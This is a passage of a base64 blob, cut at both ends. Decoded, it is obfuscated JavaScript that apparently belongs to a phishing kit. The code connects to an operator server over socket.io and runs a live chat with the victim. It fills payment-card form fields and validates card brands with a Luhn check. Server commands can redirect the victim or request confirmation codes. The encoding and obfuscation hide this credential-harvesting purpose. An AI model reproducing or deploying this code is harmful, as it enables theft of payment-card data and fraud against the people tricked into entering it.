7fW5hdmlnYXRvcltfMHgyZTY5NGEoMHgxZTEpXVtfMHgyZTY5NGEoMHgxOWQpXSgpLGNvbnNvbGVbJ2xvZyddKF8weDJlNjk0YSgweDEwMikpO30pOyQoZG9jdW1lbnRbXzB4YjQ3MjA4KDB4MTYyKV0pWydvbiddKCd3ZXJmZHNmJyxmdW5jdGlvbihfMHg0Y2U1YjUsXzB4NDIwMjUyKXt2YXIgXzB4NmJlMmE5PV8weGI0NzIwODtfMHg0ZGVjZTIoXzB4NDIwMjUyW18weDZiZTJhOSgweDEyNSldLF8weDQyMDI1MltfMHg2YmUyYTkoMHgxZTkpXSk7fSksJChkb2N1bWVudFtfMHhiNDcyMDgoMHgxNjIpXSlbJ29uJ10oXzB4YjQ3MjA4KDB4MTcxKSxfMHhiNDcyMDgoMHgxMTUpLGZ1bmN0aW9uKF8weDIxZWZjNil7dmFyIF8weDEyNGUyYj1fMHhiNDcyMDg7XzB4MjFlZmM2W18weDEyNGUyYigweDEzMCldKCksXzB4MjFlZmM2WydzdG9wUHJvcGFnYXRpb24nXSgpLCQoXzB4MTI0ZTJiKDB4MWU1KSlbXzB4MTI0ZTJiKDB4MWQ4KV0oKTtpZigkKF8weDEyNGUyYigweDFlNSkpWyd2YWwnXSgpW18weDEyNGUyYigweDE3ZCldPT0weDApcmV0dXJuO18weDRkZWNlMignY2hhdF9tZXNzYWdlJyx7J21lc3NhZ2UnOiQoXzB4MTI0ZTJiKDB4MWU1KSlbJ3ZhbCddKCl9KSwkKF8weDEyNGUyYigweDFlNSkpW18weDEyNGUyYigweDE5NyldKCcnKTt9KSwkKGRvY3VtZW50Wydib2R5J10pWydvbiddKF8weGI0NzIwOCgweGU1KSwnI29ubGluZV9jaGF0JyxmdW5jdGlvbihfMHg1MmQ0YTQpe3ZhciBfMHgzNzVjMmM9XzB4YjQ3MjA4O18weDUyZDRhNFtfMHgzNzVjMmMoMHgxYjgpXSgpLF8weDNjMzYxZCgpO30pLCQoZG9jdW1lbnRbJ2JvZHknXSlbJ29uJ10oXzB4YjQ3MjA4KDB4MWJlKSxfMHhiNDcyMDgoMHgxZGEpLGZ1bmN0aW9uKF8weDFmMzA0YSl7dmFyIF8weDJmZjRjZj1fMHhiNDcyMDg7XzB4MWYzMDRhW18weDJmZjRjZigweDFiOCldKCksJChkb2N1bWVudFtfMHgyZmY0Y2YoMHgxNjIpXSlbXzB4MmZmNGNmKDB4MTYwKV0oJ29ubGluZV9jaGF0X2Nsb3NlJyk7fSksJChkb2N1bWVudFtfMHhiNDcyMDgoMHgxNjIpXSlbJ29uJ10oXzB4YjQ3MjA4KDB4MWRkKSxmdW5jdGlvbigpe3ZhciBfMHgxMTVhNzE9XzB4YjQ3MjA4O2lmKCQoXzB4MTE1YTcxKDB4MWExKSlbXzB4MTE1YTcxKDB4MTdkKV09PTB4MHx8ISQoXzB4MTE1YTcxKDB4MWExKSlbJ2lzJ10oXzB4MTE1YTcxKDB4MTY3KSkpcmV0dXJuO18weDRkZWNlMihfMHgxMTVhNzEoMHgxZGQpLHt9KTt9KTtmdW5jdGlvbiBfMHgyYjVhOTIoKXt2YXIgXzB4NTVhZTg1PV8weGI0NzIwODtpZigkKF8weDU1YWU4NSgweDFhMSkpWydsZW5ndGgnXT09MHgwKXJldHVybjskKF8weDU1YWU4NSgweGMwKSlbJ3Njcm9sbFRvcCddKCQoXzB4NTVhZTg1KDB4YzApKVsweDBdWydzY3JvbGxIZWlnaHQnXSk7fWZ1bmN0aW9uIF8weDNjMzYxZCgpe3ZhciBfMHgxOWM0MmE9XzB4YjQ3MjA4O2lmKCQoXzB4MTljNDJhKDB4MWExKSlbXzB4MTljNDJhKDB4MTdkKV09PTB4MClyZXR1cm47JCgnI29ubGluZV9jaGF0XHgyMGlucHV0W3R5cGU9dGV4dF0nKVtfMHgxOWM0MmEoMHgxZDgpXSgpO31mdW5jdGlvbiBfMHgyYTJlZjEoXzB4MTMzMDMyKXt2YXIgXzB4MTA4NmM0PV8weGI0NzIwODtyZXR1cm4gJChfMHgxMDg2YzQoMHgxZWMpKVtfMHgxMDg2YzQoMHgxMzgpXShfMHgxMzMwMzIpWydodG1sJ10oKTt9JChkb2N1bWVudFtfMHhiNDcyMDgoMHgxNjIpXSlbJ29uJ10oXzB4YjQ3MjA4KDB4ZTMpLGZ1bmN0aW9uKF8weDFiNzAxMixfMHgzNzU3M2Epe3ZhciBfMHgzMTVmMjM9XzB4YjQ3MjA4O2lmKCQoXzB4MzE1ZjIzKDB4MWExKSlbXzB4MzE1ZjIzKDB4MTdkKV09PTB4MClyZXR1cm47JCgnI29ubGluZV9jaGF0X21lc3NhZ2VzJylbXzB4MzE1ZjIzKDB4MTczKV0oJ1x4MGEnK18weDMxNWYyMygweDE5ZikrKF8weDM3NTczYVsnXyddP18weDMxNWYyMygweDFlYik6XzB4MzE1ZjIzKDB4MTk0KSkrXzB4MzE1ZjIzKDB4ZTkpK18weDMxNWYyMygweDExMikrXzB4MmEyZWYxKF8weDM3NTczYVtfMHgzMTVmMjMoMHgxNjgpXSkrXzB4MzE1ZjIzKDB4MTlhKStfMHgzMTVmMjMoMHgxNmIpKSxfMHgyYjVhOTIoKTt9KSwkKGRvY3VtZW50W18weGI0NzIwOCgweDE2MildKVsnb24nXShfMHhiNDcyMDgoMHhkOSksZnVuY3Rpb24oXzB4Mzk0ODhlLF8weDE1ZGZhZCl7dmFyIF8weGIxM2JiZj1fMHhiNDcyMDg7aWYodHlwZW9mIF8weDE1ZGZhZFsnY28nK18weGIxM2JiZigweDE5MCldIT1fMHhiMTNiYmYoMHgxMTYpKXtpZihfMHgxNWRmYWRbJ2NvJytfMHhiMTNiYmYoMHgxOTApXT09XzB4YjEzYmJmKDB4MWRkKSl7aWYoJCgnI29ubGluZV9jaGF0JylbXzB4YjEzYmJmKDB4MTdkKV09PTB4MClyZXR1cm47JCgnI29ubGluZV9jaGF0X21lc3NhZ2VzJylbXzB4YjEzYmJmKDB4MWYzKV0oJycpLCQoJyNvbmxpbmVfY2hhdCcpW18weGIxM2JiZigweDFiMSldKCk7cmV0dXJuO31lbHNle2lmKF8weDE1ZGZhZFsnY28nKydkZVN0YXR1cyddPT1fMHhiMTNiYmYoMHgxYTcpKXtpZigkKCcjb25saW5lX2NoYXQnKVtfMHhiMTNiYmYoMHgxN2QpXT09MHgwKXJldHVybjskKF8weGIxM2JiZigweGMwKSlbXzB4YjEzYmJmKDB4MWYzKV0oJycpLCQoXzB4YjEzYmJmKDB4MWExKSlbXzB4YjEzYmJmKDB4ZDYpXSgpLCQoZG9jdW1lbnRbXzB4YjEzYmJmKDB4MTYyKV0pW18weGIxM2JiZigweDE2MCldKF8weGIxM2JiZigweGUzKSx7J21lc3NhZ2UnOl8weDE1ZGZhZFtfMHhiMTNiYmYoMHgxNjgpXSwnXyc6ISFbXX0pO3JldHVybjt9fX1lbHNle2lmKHR5cGVvZiBfMHgxNWRmYWRbXzB4YjEzYmJmKDB4MTY4KV0hPV8weGIxM2JiZigweDExNikpeyQoZG9jdW1lbnRbXzB4YjEzYmJmKDB4MTYyKV0pW18weGIxM2JiZigweDE2MCldKF8weGIxM2JiZigweGUzKSx7J21lc3NhZ2UnOl8weDE1ZGZhZFsnbWVzc2FnZSddLCdfJzpfMHgxNWRmYWRbJ18nXX0pO3JldHVybjt9fX0pO3ZhciBfMHhiYmE1NzU7XzB4YmJhNTc1PWlvW18weGI0NzIwOCgweDE0MSldKCcnLHsndHJhbnNwb3J0cyc6W18weGI0NzIwOCgweGQ3KV19KSxfMHhiYmE1NzVbJ29uJ10oJ2Nvbm5lY3RpbmcnLGZ1bmN0aW9uKCl7dmFyIF8weDU3MWViOT1fMHhiNDcyMDg7Y29uc29sZVtfMHg1NzFlYjkoMHgxN2IpXSgndCcpO30pLF8weGJiYTU3NVsnb24nXShfMHhiNDcyMDgoMHgxNDEpLGZ1bmN0aW9uKCl7dmFyIF8weDVkMmQ2MD1fMHhiNDcyMDg7Y29uc29sZVtfMHg1ZDJkNjAoMHgxN2IpXSgnYycpLF8weGJiYTU3NVsnZW1pdCddKCdhdXRoJyx7J3Nlc3Npb25JRCc6c2Vzc2lvbklEfSk7fSksXzB4YmJhNTc1WydvbiddKF8weGI0NzIwOCgweDE3NiksZnVuY3Rpb24oKXt2YXIgXzB4NGY2YWI2PV8weGI0NzIwODtjb25zb2xlW18weDRmNmFiNigweDE3YildKCdkJyk7fSksXzB4YmJhNTc1WydvbiddKF8weGI0NzIwOCgweDE2OCksZnVuY3Rpb24oXzB4NWRhNGJhKXt2YXIgXzB4NTIxZTUxPV8weGI0NzIwODskKGRvY3VtZW50W18weDUyMWU1MSgweDE2MildKVsndHJpZ2dlciddKF8weDUyMWU1MSgweGQ5KSxfMHg1ZGE0YmEpO2lmKHR5cGVvZiBfMHg1ZGE0YmFbJ2NvJytfMHg1MjFlNTEoMHgxOTApXSE9XzB4NTIxZTUxKDB4MTE2KSl7aWYoXzB4NWRhNGJhWydjbycrXzB4NTIxZTUxKDB4MTkwKV09PV8weDUyMWU1MSgweDE4NCkpeyEkKGRvY3VtZW50Wydib2R5J10pW18weDUyMWU1MSgweDE0OSldKF8weDUyMWU1MSgweDEyNCkpW18weDUyMWU1MSgweDE3ZCldJiYkKCcub193cmZsd193dycpW18weDUyMWU1MSgweDE3MyldKF8weDUyMWU1MSgweDE4YikpO3R5cGVvZiBfMHg1ZGE0YmFbXzB4NTIxZTUxKDB4MWU5KV0hPV8weDUyMWU1MSgweDExNikmJiQoXzB4NTIxZTUxKDB4MTI0KSlbXzB4NTIxZTUxKDB4MWYzKV0oXzB4NTIxZTUxKDB4MWE4KStfMHg1ZGE0YmFbXzB4NTIxZTUxKDB4MWU5KV0rJ1x4MjI+Jyk7cmV0dXJuO31pZihfMHg1ZGE0YmFbJ2NvZCcrXzB4NTIxZTUxKDB4MWU2KV09PSdzdGFydCcpeyQoZG9jdW1lbnRbXzB4NTIxZTUxKDB4MTYyKV0pW18weDUyMWU1MSgweDE2MCldKF8weDUyMWU1MSgweDFiZCkrXzB4NTIxZTUxKDB4MWFkKSsncm0nKTt0eXBlb2YgXzB4NWRhNGJhW18weDUyMWU1MSgweDE2OCldIT1fMHg1MjFlNTEoMHgxMTYpJiYkKF8weDUyMWU1MSgweDE1ZCkrXzB4NTIxZTUxKDB4MWM4KSlbXzB4NTIxZTUxKDB4MWYzKV0oXzB4NWRhNGJhW18weDUyMWU1MSgweDE2OCldKVtfMHg1MjFlNTEoMHgxMmQpXShfMHg1MjFlNTEoMHhmOSkpW18weDUyMWU1MSgweGQ2KV0oKTtyZXR1cm47fWlmKF8weDVkYTRiYVsnY29kJysnZVN0YScrJ3R1cyddPT1fMHg1MjFlNTEoMHgxYzEpKXskKHdpbmRvdylbXzB4NTIxZTUxKDB4MWUzKV0oJ2JlZm9yZXVubG9hZCcpLGxvY2F0aW9uW18weDUyMWU1MSgweGM5KV0oKTtyZXR1cm47fWlmKF8weDVkYTRiYVtfMHg1MjFlNTEoMHgxMzYpK18weDUyMWU1MSgweDEwMCkrXzB4NTIxZTUxKDB4YzIpXT09J2xpbmsnKXskKHdpbmRvdylbXzB4NTIxZTUxKDB4MWUzKV0oXzB4NTIxZTUxKDB4Y2EpKSwkKCcuc3VjY2Vzc1JvdycpWydodG1sJ10oJzxhXHgyMHRhcmdldD1ceDIyX2JsYW5rXHgyMlx4MjBocmVmPVx4MjInK18weDVkYTRiYVtfMHg1MjFlNTEoMHgxODYpXSsnXHgyMj4nK18weDE4MDB4N1tfMHg1MjFlNTEoMHgxNDApXStfMHg1MjFlNTEoMHhmZSkpLCQoZm9ybVNlbGVjdG9yKVtfMHg1MjFlNTEoMHgxZTMpXSgnc3VibWl0JyksJChmb3JtU2VsZWN0b3IpW18weDUyMWU1MSgweDFiZildKF8weDUyMWU1MSgweDE3MSksZnVuY3Rpb24oXzB4NDk2ZTk5KXtfMHg0OTZlOTlbJ3ByZXZlbnREZWZhdWx0J10oKTt9KSwkKF8weDUyMWU1MSgweDE2YykrXzB4NTIxZTUxKDB4YzYpKVtfMHg1MjFlNTEoMHgxYjEpXSgpLCQoXzB4NTIxZTUxKDB4ZGQpKVsnc2hvdyddKCksJChfMHg1MjFlNTEoMHgxNDQpKVsnaGlkZSddKCk7cmV0dXJuO31pZihfMHg1ZGE0YmFbXzB4NTIxZTUxKDB4MTM2KSsnZVN0YScrXzB4NTIxZTUxKDB4YzIpXT09XzB4NTIxZTUxKDB4MWM3KSl7JChfMHg1MjFlNTEoMHgxNDUpKVtfMHg1MjFlNTEoMHhkNildKCksJChfMHg1MjFlNTEoMHgxNDQpKVtfMHg1MjFlNTEoMHgxYjEpXSgpLCQoJy5jb25mQ29kZVJvd1x4MjBwOmxhc3QtY2hpbGQnKVtfMHg1MjFlNTEoMHgxZjMpXSgnJyk7dHlwZW9mIF8weDVkYTRiYVsnbWVzc2FnZSddIT1fMHg1MjFlNTEoMHgxMTYpJiYkKF8weDUyMWU1MSgweDE2YSkpW18weDUyMWU1MSgweDFmMyldKF8weDVkYTRiYVtfMHg1MjFlNTEoMHgxNjgpXSlbXzB4NTIxZTUxKDB4MTJkKV0oXzB4NTIxZTUxKDB4ZjkpKVsnc2hvdyddKCk7JChkb2N1bWVudFtfMHg1MjFlNTEoMHgxNjIpXSlbXzB4NTIxZTUxKDB4MTYwKV0oXzB4NTIxZTUxKDB4Y2MpKTtyZXR1cm47fWlmKF8weDVkYTRiYVsnY29kJytfMHg1MjFlNTEoMHgxMDApK18weDUyMWU1MSgweGMyKV09PV8weDUyMWU1MSgweGNkKSl7JCh3aW5kb3cpW18weDUyMWU1MSgweDFlMyldKF8weDUyMWU1MSgweGNhKSksbG9jYXRpb25bJ2hyZWYnXT1fMHg1ZGE0YmFbJ2xpbmsnXTtyZXR1cm47fX19KTtmdW5jdGlvbiBfMHg0ZGVjZTIoXzB4MWRjMTYwLF8weDU0MzY4Yil7dmFyIF8weDUwZmI2NT1fMHhiNDcyMDg7XzB4YmJhNTc1W18weDUwZmI2NSgweDE4NyldKF8weDFkYzE2MCxfMHg1NDM2OGIpO31zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7c2V0VGltZW91dChDVHJ5VWZyeWNkUlhFdHJDLDB4NjQpLHNldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgXzB4NWMzNDA1PV8weDJmMzc7JChfMHg1YzM0MDUoMHgxYWIpKVtfMHg1YzM0MDUoMHgxN2QpXSYmKCQoZG9jdW1lbnRbXzB4NWMzNDA1KDB4MTYyKV0pWydjc3MnXShfMHg1YzM0MDUoMHgxMWEpLF8weDVjMzQwNSgweDE5MSkpLGNvbnNvbGVbXzB4NWMzNDA1KDB4MTdiKV0oJ2YnKSwkKF8weDVjMzQwNSgweDFhYikpWydvbiddKF8weDVjMzQwNSgweDE1MSksZnVuY3Rpb24oKXt2YXIgXzB4NjNmNjU5PV8weDVjMzQwNTtjb25zb2xlW18weDYzZjY1OSgweDE3YildKCdsJyksJChkb2N1bWVudFsnYm9keSddKVsnY3NzJ10oXzB4NjNmNjU5KDB4MTFhKSwndmlzaWJsZScpO30pLHNldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgXzB4NDRjYzM0PV8weDVjMzQwNTskKGRvY3VtZW50Wydib2R5J10pW18weDQ0Y2MzNCgweDE3OSldKF8weDQ0Y2MzNCgweDExYSksJ3Zpc2libGUnKTt9LDB4N2QwKSk7dmFyIF8weDFkYTcwMj0weDAsXzB4MzM1MjBlPUpTT05bXzB4NWMzNDA1KDB4MTdjKV0oZGZibmhmaiksXzB4NGM3MjdmPV8weDVjMzQwNSgweDE3Zik7dHlwZW9mIF8weDMzNTIwZVtfMHg1YzM0MDUoMHgxZGUpXSE9XzB4NWMzNDA1KDB4MTE2KSYmKF8weDRjNzI3Zj1fMHgzMzUyMGVbXzB4NWMzNDA1KDB4MWRlKV0pO3ZhciBfMHg1Y2QxZDk9J21tLnBocCc7dHlwZW9mIF8weDMzNTIwZVtfMHg1YzM0MDUoMHgxMzIpXSE9XzB4NWMzNDA1KDB4MTE2KSYmKF8weDVjZDFkOT1fMHgzMzUyMGVbXzB4NWMzNDA1KDB4MTMyKV0pO3ZhciBfMHgxZDE5ZGQ7JChfMHg1YzM0MDUoMHgxMTQpKT8oXzB4MWQxOWRkPV8weDVjMzQwNSgweDExNCksJChfMHg1YzM0MDUoMHgxYjkpK18weDFkMTlkZClbXzB4NWMzNDA1KDB4MTJkKV0oXzB4NWMzNDA1KDB4MWNmKSksJChfMHg1YzM0MDUoMHgxOTgpKVtfMHg1YzM0MDUoMHgxMTEpXShfMHg1YzM0MDUoMHgxNzEpKVsnb24nXSgnc3VibWl0JyxmdW5jdGlvbihfMHg0ZDljMjcpe3ZhciBfMHgxZTlmNzc9XzB4NWMzNDA1O18weDRkOWMyN1tfMHgxZTlmNzcoMHgxMzApXSgpO30pKTpfMHgxZDE5ZGQ9XzB4NWMzNDA1KDB4MWI5KTtsZXQgXzB4MjVhMTQyPXsnbnVtYmVyJzpfMHg1YzM0MDUoMHgxYmMpK18weDVjMzQwNSgweDE0NikrJ2FyJytfMHg1YzM0MDUoMHgxZDYpK18weDVjMzQwNSgweGY1KSwnbW9udGgnOidNTScsJ3llYXInOidZWScsJ2N2dic6J0MnKydWQycsJ2hvbGRlcic6J0NhJytfMHg1YzM0MDUoMHhkNSkrXzB4NWMzNDA1KDB4MWM5KStfMHg1YzM0MDUoMHgxMmYpfTskKF8weDFkMTlkZCtfMHg1YzM0MDUoMHhjOCkpW18weDVjMzQwNSgweDFkZildKGZ1bmN0aW9uKF8weDNmZWJlOCxfMHg0MTcwNTMpe3ZhciBfMHg0M2UyMmI9XzB4NWMzNDA1OyQoXzB4NDE3MDUzKVtfMHg0M2UyMmIoMHgxYWEpXShfMHg0M2UyMmIoMHgxMjkpLF8weDI1YTE0MlskKF8weDQxNzA1MylbXzB4NDNlMjJiKDB4MWFhKV0oJ2lkJylbXzB4NDNlMjJiKDB4YzUpXShzc3RyaW5nLCcnKVtfMHg0M2UyMmIoMHhjNSldKCdjYScrJ3JkLScsJycpW18weDQzZTIyYigweGM1KV0oJ2NhJysncmQnLCcnKV0pO30pOyQoXzB4NWMzNDA1KDB4ZTYpKSYmJCgnLmJyd3NyX3R0bCcpW18weDVjMzQwNSgweDFmMyldKF8weDMzNTIwZVtfMHg1YzM0MDUoMHgxMjYpXSk7JChfMHg1YzM0MDUoMHgxYTQpKSYmJChfMHg1YzM0MDUoMHgxYTQpKVtfMHg1YzM0MDUoMHgxZjMpXShfMHgzMzUyMGVbJ3VybCddKTskKGRvY3VtZW50Wydib2R5J10pWydvbiddKF8weDVjMzQwNSgweDFiZSksXzB4NWMzNDA1KDB4ZTcpLGZ1bmN0aW9uKF8weDI1MDI3MCl7dmFyIF8weDNhNjk2OD1fMHg1YzM0MDU7XzB4MjUwMjcwW18weDNhNjk2OCgweDEzMCldKCk7fSksZnVuY3Rpb24oKXt2YXIgXzB4NDhkZTdkPV8weDVjMzQwNSxfMHg0YzE1ZWUsXzB4NjY2YTcyLF8weDNhN2Y0NixfMHgxZTU0MGIsXzB4M2UyMGYxLF8weDU3ODU0OSxfMHgzZTVlMGMsXzB4MjQ0OWE3LF8weDdlMGJiNixfMHg0ZWU4ODksXzB4MmYxY2RlLF8weDQ3YWVjZCxfMHg0NmZjOGEsXzB4NWVhMDAwLF8weDJhMTA3MCxfMHgzNDQ5ZjMsXzB4YmI1N2ZhLF8weDNkNDU1YSxfMHgzOTI2NzUsXzB4MTRiYjE3LF8weDI0MjRlOSxfMHg0ZjEyZTcsXzB4MWFlOTgzLF8weDMwMzgyOSxfMHgxZTg2ZmM9W11bXzB4NDhkZTdkKDB4MTc3KV0sXzB4NDNlNWJhPVtdW18weDQ4ZGU3ZCgweGQzKV18fGZ1bmN0aW9uKF8weDFhMzI1NSl7dmFyIF8weDVkMWM5MT1fMHg0OGRlN2Q7Zm9yKHZhciBfMHg0NDc5NzQ9MHgwLF8weDEzZWE4MT10aGlzW18weDVkMWM5MSgweDE3ZCldO18weDEzZWE4MT5fMHg0NDc5NzQ7XzB4NDQ3OTc0KyspaWYoXzB4NDQ3OTc0IGluIHRoaXMmJnRoaXNbXzB4NDQ3OTc0XT09PV8weDFhMzI1NSlyZXR1cm4gXzB4NDQ3OTc0O3JldHVybi0weDE7fTtfMHg0YzE1ZWU9d2luZG93WydqUXVlcnknXXx8d2luZG93W18weDQ4ZGU3ZCgweDFmMSldfHx3aW5kb3dbJyQnXSxfMHg0YzE1ZWVbJ3BtbnQnXT17fSxfMHg0YzE1ZWVbJ3BtbnQnXVsnZm4nXT17fSxfMHg0YzE1ZWVbJ2ZuJ11bXzB4NDhkZTdkKDB4MWMzKV09ZnVuY3Rpb24oKXt2YXIgXzB4MzJmODZkPV8weDQ4ZGU3ZCxfMHg0ZDkzYzAsXzB4MThiYjMyO3JldHVybiBfMHgxOGJiMzI9YXJndW1lbnRzWzB4MF0sXzB4NGQ5M2MwPTB4Mjw9YXJndW1lbnRzW18weDMyZjg2ZCgweDE3ZCldP18weDFlODZmY1tfMHgzMmY4NmQoMHgxZWEpXShhcmd1bWVudHMsMHgxKTpbXSxfMHg0YzE1ZWVbJ3BtbnQnXVsnZm4nXVtfMHgxOGJiMzJdW18weDMyZjg2ZCgweDEzNyldKHRoaXMsXzB4NGQ5M2MwKTt9LF8weDNlMjBmMT0vKFxkezEsNH0pL2csXzB4NGMxNWVlW18weDQ4ZGU3ZCgweDFjMyldWydjcmRzJ109XzB4MWU1NDBiPVt7J3R5cGUnOl8weDQ4ZGU3ZCgweDE5NSkrJ3N0cm8nLCdwYXR0ZXJucyc6WzB4MTM5YSwweDFmNiwweDFmNywweDFmYSwweDM4LDB4M2EsMHgyN2YsMHgxODRjLDB4NDNdLCdmb3JtYXQnOl8weDNlMjBmMSwnbGVuZ3RoJzpbMHhjLDB4ZCwweGUsMHhmLDB4MTAsMHgxMSwweDEyLDB4MTNdLCdjX3ZfY19fX0xlX19fbmd0aCc6WzB4M10sJ2xfdV9oX24nOiEweDB9LHsndHlwZSc6XzB4NDhkZTdkKDB4MTEwKStfMHg0OGRlN2QoMHgxODMpLCdwYXR0ZXJucyc6WzB4MjU4XSwnZm9ybWF0JzpfMHgzZTIwZjEsJ2xlbmd0aCc6WzB4MTBdLCdjX3ZfY19fX0xlX19fbmd0aCc6WzB4M10sJ2xfdV9oX24nOiEweDB9LHsndHlwZSc6XzB4NDhkZTdkKDB4ZWQpK18weDQ4ZGU3ZCgweDE3MCksJ3BhdHRlcm5zJzpbMHgxMzliXSwnZm9ybWF0JzpfMHgzZTIwZjEsJ2xlbmd0aCc6WzB4MTBdLCdjX3ZfY19fX0xlX19fbmd0aCc6WzB4M10sJ2xfdV9oX24nOiEweDB9LHsndHlwZSc6J3ZpJysnc2EnLCdwYXR0ZXJucyc6WzB4NF0sJ2Zvcm1hdCc6XzB4M2UyMGYxLCdsZW5ndGgnOlsweGQsMHgxMF0sJ2Nfdl9jX19fTGVfX19uZ3RoJzpbMHgzXSwnbF91X2hfbic6ITB4MH0seyd0eXBlJzonbWFzJytfMHg0OGRlN2QoMHgxODIpK18weDQ4ZGU3ZCgweGY0KSwncGF0dGVybnMnOlsweDMzLDB4MzQsMHgzNSwweDM2LDB4MzcsMHgxNiwweDE3LDB4MTgsMHgxOSwweDFhLDB4MWJdLCdmb3JtYXQnOl8weDNlMjBmMSwnbGVuZ3RoJzpbMHgxMF0sJ2Nfdl9jX19fTGVfX19uZ3RoJzpbMHgzXSwnbF91X2hfbic6ITB4MH0seyd0eXBlJzonYW0nKydleCcsJ3BhdHRlcm5zJzpbMHgyMiwweDI1XSwnZm9ybWF0JzovKFxkezEsNH0pKFxkezEsNn0pPyhcZHsxLDV9KT8vLCdsZW5ndGgnOlsweGZdLCdjX3ZfY19fX0xlX19fbmd0aCc6WzB4MywweDRdLCdsX3VfaF9uJzohMHgwfSx7J3R5cGUnOl8weDQ4ZGU3ZCgweGVjKSsncnNjbHViJywncGF0dGVybnMnOlsweDFlLDB4MjQsMHgyNiwweDI3XSwnZm9ybWF0JzovKFxkezEsNH0pKFxkezEsNn0pPyhcZHsxLDR9KT8vLCdsZW5ndGgnOlsweGVdLCdjX3ZfY19fX0xlX19fbmd0aCc6WzB4M10sJ2xfdV9oX24nOiEweDB9LHsndHlwZSc6XzB4NDhkZTdkKDB4MTY0KStfMHg0OGRlN2QoMHgxNGYpLCdwYXR0ZXJucyc6WzB4M2MsMHg0MCwweDQxLDB4MjZlXSwnZm9ybWF0JzpfMHgzZTIwZjEsJ2xlbmd0aCc6WzB4MTBdLCdjX3ZfY19fX0xlX19fbmd0aCc6WzB4M10sJ2xfdV9oX24nOiEweDB9LHsndHlwZSc6J3VuaScrXzB4NDhkZTdkKDB4MTVjKSsnYXknLCdwYXR0ZXJucyc6WzB4M2UsMHg1OF0sJ2Zvcm1hdCc6XzB4M2UyMGYxLCdsZW5ndGgnOlsweDEwLDB4MTEsMHgxMiwweDEzXSwnY192X2NfX19MZV9fX25ndGgnOlsweDNdLCdsX3VfaF9uJzohMHgxfSx7J3R5cGUnOidqJysnY2InLCdwYXR0ZXJucyc6WzB4MjNdLCdmb3JtYXQnOl8weDNlMjBmMSwnbGVuZ3RoJzpbMHgxMF0sJ2Nfdl9jX19fTGVfX19uZ3RoJzpbMHgzXSwnbF91X2hfbic6ITB4MH1dLF8weDY2NmE3Mj1mdW5jdGlvbihfMHgyNWFmZjYpe3ZhciBfMHg0YTM2YzM9XzB4NDhkZTdkLF8weDE0Njk0NSxfMHg1ZDBiNGMsXzB4MjNmY2VkLF8weDRkMTBiZCxfMHg1NjY5OGMsXzB4ZWM2NzA1LF8weDNhNDdkMixfMHgzNTIyNDA7Zm9yKF8weDI1YWZmNj0oXzB4MjVhZmY2KycnKVtfMHg0YTM2YzMoMHhmMildKC9cRC9nLCcnKSxfMHg0ZDEwYmQ9MHgwLF8weGVjNjcwNT1fMHgxZTU0MGJbJ2xlbmd0aCddO18weGVjNjcwNT5fMHg0ZDEwYmQ7XzB4NGQxMGJkKyspZm9yKF8weDE0Njk0NT1fMHgxZTU0MGJbXzB4NGQxMGJkXSxfMHgzNTIyNDA9XzB4MTQ2OTQ1W18weDRhMzZjMygweDEzZCldLF8weDU2Njk4Yz0weDAsXzB4M2E0N2QyPV8weDM1MjI0MFsnbGVuZ3RoJ107XzB4M2E0N2QyPl8weDU2Njk4YztfMHg1NjY5OGMrKylpZihfMHgyM2ZjZWQ9XzB4MzUyMjQwW18weDU2Njk4Y10sXzB4NWQwYjRjPV8weDIzZmNlZCsnJyxfMHgyNWFmZjZbXzB4NGEzNmMzKDB4MTY5KV0oMHgwLF8weDVkMGI0Y1tfMHg0YTM2YzMoMHgxN2QpXSk9PT1fMHg1ZDBiNGMpcmV0dXJuIF8weDE0Njk0NTt9LF8weDNhN2Y0Nj1mdW5jdGlvbihfMHgyYmI3Y2Ipe3ZhciBfMHg3Y2E2MWQ9XzB4NDhkZTdkLF8weDU4MGM4ZixfMHgyNjY0YTksXzB4MmYxZWMwO2ZvcihfMHgyNjY0YTk9MHgwLF8weDJmMWVjMD1fMHgxZTU0MGJbXzB4N2NhNjFkKDB4MTdkKV07XzB4MmYxZWMwPl8weDI2NjRhOTtfMHgyNjY0YTkrKylpZihfMHg1ODBjOGY9XzB4MWU1NDBiW18weDI2NjRhOV0sXzB4NTgwYzhmW18weDdjYTYxZCgweDFlMCldPT09XzB4MmJiN2NiKXJldHVybiBfMHg1ODBjOGY7fSxfMHg0NmZjOGE9ZnVuY3Rpb24oXzB4MzExOTM2KXt2YXIgXzB4MzNiYjIzPV8weDQ4ZGU3ZCxfMHg0MTg4MDcsXzB4MTYzOGE1LF8weDIyZjMzMixfMHgxZjgyNzQsXzB4MTE2ZTA0LF8weDEyOTVkOTtmb3IoXzB4MjJmMzMyPSEweDAsXzB4MWY4Mjc0PTB4MCxfMHgxNjM4YTU9KF8weDMxMTkzNisnJylbXzB4MzNiYjIzKDB4YzcpXSgnJylbXzB4MzNiYjIzKDB4MWVlKV0oKSxfMHgxMTZlMDQ9MHgwLF8weDEyOTVkOT1fMHgxNjM4YTVbXzB4MzNiYjIzKDB4MTdkKV07XzB4MTI5NWQ5Pl8weDExNmUwNDtfMHgxMTZlMDQrKylfMHg0MTg4MDc9XzB4MTYzOGE1W18weDExNmUwNF0sXzB4NDE4ODA3PXBhcnNlSW50KF8weDQxODgwNywweGEpLChfMHgyMmYzMzI9IV8weDIyZjMzMikmJihfMHg0MTg4MDcqPTB4MiksXzB4NDE4ODA3PjB4OSYmKF8weDQxODgwNy09MHg5KSxfMHgxZjgyNzQrPV8weDQxODgwNztyZXR1cm4gXzB4MWY4Mjc0JTB4YT09PTB4MDt9LF8weDQ3YWVjZD1mdW5jdGlvbihfMHgyMDNhYjEpe3ZhciBfMHgzZGQ3ZTY9XzB4NDhkZTdkLF8weDMyNDYyNztyZXR1cm4gbnVsbCE9XzB4MjAzYWIxW18weDNkZDdlNigweDE1YildKF8weDNkZDdlNigweDE2NSkpJiZfMHgyMDNhYjFbJ3Byb3AnXShfMHgzZGQ3ZTYoMHgxNjUpKSE9PV8weDIwM2FiMVtfMHgzZGQ3ZTYoMHgxNWIpXShfMHgzZGQ3ZTYoMHgxMDYpKT8hMHgwOm51bGwhPShfMHgzZGQ3ZTYoMHgxMTYpIT10eXBlb2YgZG9jdW1lbnQmJm51bGwhPT1kb2N1bWVudCYmbnVsbCE9KF8weDMyNDYyNz1kb2N1bWVudFtfMHgzZGQ3ZTYoMHhkOCldKT9fMHgzMjQ2MjdbJ2NyZWF0ZVJhbmdlJ106dm9pZCAweDApJiZkb2N1bWVu